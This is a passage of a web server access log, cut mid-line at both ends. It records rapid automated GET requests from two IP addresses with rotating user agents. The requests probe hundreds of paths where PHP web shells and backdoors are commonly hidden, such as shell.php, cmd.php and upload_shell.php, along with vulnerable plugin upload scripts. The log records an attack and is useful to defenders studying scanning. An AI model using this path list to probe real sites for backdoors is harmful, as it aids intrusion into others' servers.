Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:17:26 -0400] "GET /wp-admin/images/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:26 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.191 - - [23/Apr/2025:03:17:26 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:17:26 -0400] "GET /wp-content/plugins/seoplugins/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:26 -0400] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:26 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:26 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:26 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:26 -0400] "GET /wp-includes/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:17:26 -0400] "GET /wp-admin/images/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:17:26 -0400] "GET /images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.191 - - [23/Apr/2025:03:17:26 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:26 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.193 - - [23/Apr/2025:03:17:26 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:17:27 -0400] "GET /wp-includes/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:27 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:27 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:27 -0400] "GET /wp-admin/maint/flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:17:27 -0400] "GET /wp-admin/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:17:27 -0400] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:27 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:27 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.193 - - [23/Apr/2025:03:17:27 -0400] "GET /indeks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.191 - - [23/Apr/2025:03:17:27 -0400] "GET /wp-tinymce.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:17:27 -0400] "GET /ms.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.193 - - [23/Apr/2025:03:17:27 -0400] "GET /wp-content/plugins/seoo/xynz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:27 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.193 - - [23/Apr/2025:03:17:27 -0400] "GET /insert_activity_db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:17:27 -0400] "GET /wp-content/tmpls.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:27 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:28 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:28 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:28 -0400] "GET /retu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:17:28 -0400] "GET /wp-admin/js/widgets/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:28 -0400] "GET /.well-known/acme-challenge/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:17:28 -0400] "GET /aw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:28 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:28 -0400] "GET /update/gely.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.191 - - [23/Apr/2025:03:17:28 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:28 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:28 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:28 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:17:28 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:17:28 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:28 -0400] "GET /retu11.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:17:29 -0400] "GET /dr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:29 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:29 -0400] "GET /back.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.191 - - [23/Apr/2025:03:17:29 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:17:29 -0400] "GET /wp-includes/customize/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:17:29 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.191 - - [23/Apr/2025:03:17:29 -0400] "GET /wp-admin/Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:29 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:29 -0400] "GET /saka.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:17:29 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:29 -0400] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:17:29 -0400] "GET /images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.191 - - [23/Apr/2025:03:17:29 -0400] "GET /ay.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:17:29 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:29 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.191 - - [23/Apr/2025:03:17:29 -0400] "GET /wordpress/wp-admin/wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:30 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:30 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:30 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:30 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:30 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:17:30 -0400] "GET /wp-content/plugins/ioptimization/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:30 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:30 -0400] "GET /crack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:30 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:30 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:30 -0400] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:30 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:17:30 -0400] "GET /rt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:17:30 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.191 - - [23/Apr/2025:03:17:30 -0400] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:30 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:30 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:31 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:31 -0400] "GET /wp-admin/maint/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:31 -0400] "GET /wp-includes/js/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:17:31 -0400] "GET /yy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:31 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:31 -0400] "GET /wp-admin/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:31 -0400] "GET /.well-known/pki-validation/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:31 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:31 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:31 -0400] "GET /components/com_joomdle/assets/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:31 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:31 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:31 -0400] "GET /cmd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:31 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:17:31 -0400] "GET /tr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:31 -0400] "GET /upload_shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:32 -0400] "GET /.well-known/pki-validation/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:32 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:17:32 -0400] "GET /var/www/html/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:17:32 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:32 -0400] "GET /wp-includes/css/dist/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:32 -0400] "GET /uploads/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:17:32 -0400] "GET /hjk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:32 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:32 -0400] "GET /files/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:32 -0400] "GET /wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:32 -0400] "GET /aq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:32 -0400] "GET /webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:32 -0400] "GET /ac.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:32 -0400] "GET /yu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:17:32 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:32 -0400] "GET /xp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:17:33 -0400] "GET /gt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:17:33 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:17:33 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:17:33 -0400] "GET /duck.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:17:33 -0400] "GET /wp-includes/js/plupload/jquery.Jcrop.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:17:33 -0400] "GET /bs.php 